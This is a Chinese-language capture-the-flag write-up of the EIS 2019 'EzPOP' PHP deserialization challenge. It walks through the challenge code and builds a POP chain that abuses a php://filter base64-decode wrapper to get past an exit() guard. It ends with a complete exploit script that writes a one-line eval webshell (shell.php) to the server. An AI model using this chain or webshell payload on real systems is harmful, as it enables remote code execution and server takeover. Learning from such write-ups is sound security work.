[EIS 2019]EzPOP-PHP代码审计学习

[EIS 2019]EzPOP-PHP代码审计学习
作为一个不太聪明的WEB菜鸟，代码审计一直不咋地，正好遇到一道题，记录一下学习过程

<?php
error_reporting(0);

class A {

    protected $store;

    protected $key;

    protected $expire;

    public function __construct($store, $key = 'flysystem', $expire = null) {
        $this->key = $key;
        $this->store = $store;
        $this->expire = $expire;
    }

    public function cleanContents(array $contents) {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }

        return $contents;
    }

    public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache);

        return json_encode([$cleaned, $this->complete]);
    }

    public function save() {
        $contents = $this->getForStorage();

        $this->store->set($this->key, $contents, $this->expire);
    }

    public function __destruct() {
        if (!$this->autosave) {
            $this->save();
        }
    }
}

class B {

    protected function getExpireTime($expire): int {
        return (int) $expire;
    }

    public function getCacheKey(string $name): string {
        return $this->options['prefix'] . $name;
    }

    protected function serialize($data): string {
        if (is_numeric($data)) {
            return (string) $data;
        }

        $serialize = $this->options['serialize'];

        return $serialize($data);
    }

    public function set($name, $value, $expire = null): bool{
        $this->writeTimes++;

        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }

        $expire = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);

        $dir = dirname($filename);

        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 创建失败
            }
        }

        $data = $this->serialize($value);

        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }

        $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        $result = file_put_contents($filename, $data);

        if ($result) {
            return true;
        }

        return false;
    }

}

if (isset($_GET['src']))
{
    highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
    mkdir($dir);
}
unserialize($_GET["data"]);

题目直接给出了源代码，话不多说，慢慢审吧
首先看A类的函数
构造函数就不说了

public function cleanContents(array $contents) {
        $cachedProperties = array_flip([           //反转数组中所有的键以及它们关联的值
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        foreach ($contents as $path => $object) { //在contents数组中，键给path,值给object
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);   //比较两个数组的键名，并返回交集：
            }
        }

        return $contents;
    }

cleanContents(array $contents)里面调用了下面两个函数：arra{y}_{f}lip()反转数组中所有的键以及它们关联的值arra{y}_{i}ntersec{t}_{k}ey($object, $cachedProperties); //比较两个数组的键名,并返回交集

public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache);
        return json_encode([$cleaned, $this->complete]);
    }

这个函数主要是把cache作为参数调用cleanContents(),再将结果和complete一起返回他们的json数据。值得一提的是cache和complete都是没有赋值的，可控

public function save() 
{
        $contents = $this->getForStorage();
        $this->store->set($this->key, $contents, $this->expire); 
    }

这里先调用了getForStorage()函数将其结果放入contents，再将其和key，expire一起调用save()函数，A类是没有save()函数的，只有B类有，显而易见，这个this->store大概率就是要定义成B类，串联AB类。值得一提的是，这里的key和expire也是可控的。

接下来看B类

protected function serialize($data): string {
        if (is_numeric($data)) {
            return (string) $data;
        }

        $serialize = $this->options['serialize'];

        return $serialize($data);
    }

该函数会将data先格式化成string类型，然后根据options[‘serialize’]的值来处理data，options[‘serialize’]可控。

public function set($name, $value, $expire = null): bool{ 
        $this->writeTimes++;

        if (is_null($expire)) {
            $expire = $this->options['expire']; 
        }

        $expire = $this->getExpireTime($expire);  //返回int型数据，options['expire']的
        $filename = $this->getCacheKey($name);  //将$name拼接在options['prefix']后面，最后应该是要写入的位置
        $dir = dirname($filename);  //获取路径中的目录名称部分
        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 创建失败
            }
        }
        $data = $this->serialize($value);  //该函数特殊
        if ($this->options['data_compress'] && function_exists('gzcompress')) {  
            //数据压缩
            $data = gzcompress($data, 3);
        }
        $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;  //这里是要执行的核心代码
        $result = file_put_contents($filename, $data);
        if ($result) {
            return true;
        }
        return false;
    }
}

该函数一个个参数看吧，先看$name，经过getCacheKey()函数与options{[}^{\prime }prefi{x}^{\prime }]拼接后，形成的filename最后在fil{e}_{p}u{t}_{c}ontents()处才被调用，作为写入的位置。再看看$expire,先判断是否为null，如果是则将options[‘expire’]赋值给它，接下来调用getExpireTime()函数将其格式化成int型，最后将其通过sprintf函数写进php代码
最后是$value,通过调用serialize()函数生成$data,然后判断是否满足条件执行数据压缩，该条件可控最后将核心代码拼接在核心代码后面。
显而易见，$name这个参数用在构造文件的位置，其他两个参数用来构造最后的核心代码，最后将核心代码通过file_put_contents()写入指定位置，达到成功将shell写入网站服务器的目的

 $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;

这里核心代码的构造，先前我一直执着于将$data构造成空，然后在$expire里面填入关键代码，但是expire被格式化成int型数据，长度也被限制，后面还有个exit()函数，这让我一直很头疼，始终过不去，我一直以为有骚操作可以过了这里，事实证明是我多想了。这里贴上我参考的大佬文章

大佬引用了P神的文章(之前做题就有一些WP也是引用P神的文章，也将P神的博客收藏，却没看过，有机会一定要好好看看)。
回到正文，由于<、?、()、;、>、\n都不是base64编码的范围，所以base64解码的时候会自动将其忽略，所以解码之后就剩php//exit了，这里有9个字符，但是呢base64算法解码时是4个字节一组，所以我们还需要在前面加些字符，我就加3个字符吧，最后我们可以使用php伪协议来绕过，一会写在路径里就行

php://filter/write=convert.base64-decode/resource=

sprintf('%012d', $expire)

至于$expire它这里的%012d要求输出12个数字，正好是4的倍数，可以不用管了，随便填个数字就行

运行结果

那么$data就得用来写shell咯，而且前面得加上3个字符，值得注意的是$data的数据由B类set()函数的$value得来，而在A类中调用set()函数时$value由$contents得来，$contents是由json_encode后得来的，是json形式的数据，需要绕过它，而json格式的字符都不满足base64编码的要求，所以我们可以将数据进行base64编码绕过

运行结果

不难看出base64成功绕过json，综上所述 ，一共要进行两次base64编码，一次是绕过核心代码里的exit()函数，一次是绕过json编码，因此我们可以这么构造$data的源头complete

A->complete=base64_encode('xxx',base64_encode('<?php @eval($_POST["ro4lsc"]);?>'))  //这里的xxx就是为了和php//exit一起凑够4的倍数

现在最重要的问题是怎么把base64两次解码，一次解码已经决定在路径里用php协议解码一次，那还有一次得再找方法解码
这时我们就得看到前面提到的serialize函数

 protected function serialize($data): string {
        if (is_numeric($data)) {
            return (string) $data;
        }
        $serialize = $this->options['serialize'];
        return $serialize($data);
    }

可以看到返回值是$serialize($data)，也就是说这里我们可以让这个变量$serilalize为base64_decode函数对data变量进行解码。

filename参数是options[‘prefix’]和$name进行拼接的结果，而这里的\ast \ast$name是形参**，所以这个$name是A类的key变量，是由save函数传递过来的
由于options[‘prefix’]可控
所以这里我们可以使

options['prefix']="php://filter/write=convert.base64-decode/resource=";
key="webshell.php"; //$name

那现在从头梳理一下函数的执行顺序

A::__destruct->save()->getForStorage()->cleanStorage()
B::save()->set()->getExpireTime()，getCacheKey()，serialize()->file_put_contents写入shell

参数的赋值过程

key->name->filename       //key可控
cache->clean+complete->contents->value->data    //cache和complete可控
expire   //expire可控

从参数变化再综合上面的分析，难点主要是中间的cache和complete，变化不太清楚，所以把代码抽出来慢慢观察

<?php
$cachedProperties = array_flip([           //反转数组中所有的键以及它们关联的值
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);
$contents=array(path1111=>11);
foreach ($contents as $path => $object) {
    if (is_array($object)) {
        $contents[$path] = array_intersect_key($object, $cachedProperties);   //比较两个数组的键名，并返回交集：
        }
    }
$complete = base64_encode("xxx".base64_encode('<?php @eval($_POST["ro4lsc"]);?>'));
$getForStorage=json_encode([$contents, $complete]);
echo $getForStorage;
?>

通过观察发现，上述代码的contens也就是cache决定了json数据的键，complete决定了json数据的值，那就好办了，前面也分析过需要base64编码绕过json数据，那就让cache为空，因为它为空后键为[],base64就可以将其跳过，complete填核心代码即可

最后的payload(这里觉得大佬写的太好了，直接搬运)：

<?php
class A{
protected $store;
protected $key;
protected $expire;

public function __construct()
{
    $this->cache = array();
    $this->complete = base64_encode("xxx".base64_encode('<?php @eval($_POST["ro4lsc"]);?>'));
    $this->key = "shell.php";
    $this->store = new B();
    $this->autosave = false;
    $this->expire = 0;
}


}
class B{
    public $options = array();
    function __construct()
    {
        $this->options['serialize'] = 'base64_decode';
        $this->options['prefix'] = 'php://filter/write=convert.base64-decode/resource=';
        $this->options['data_compress'] = false;
    }
}
echo urlencode(serialize(new A()));

将得到的数据通过?data传递参数，他会在当前路径生成shell.php,最后拿菜刀之类的连接即可

总结
base64的绕过让人印象深刻,代码审计仍然需要继续努力。

参考文章
https://blog.csdn.net/gd_9988/article/details/106111902
https://www.leavesongs.com/PENETRATION/php-filter-magic.html?page=2#reply-list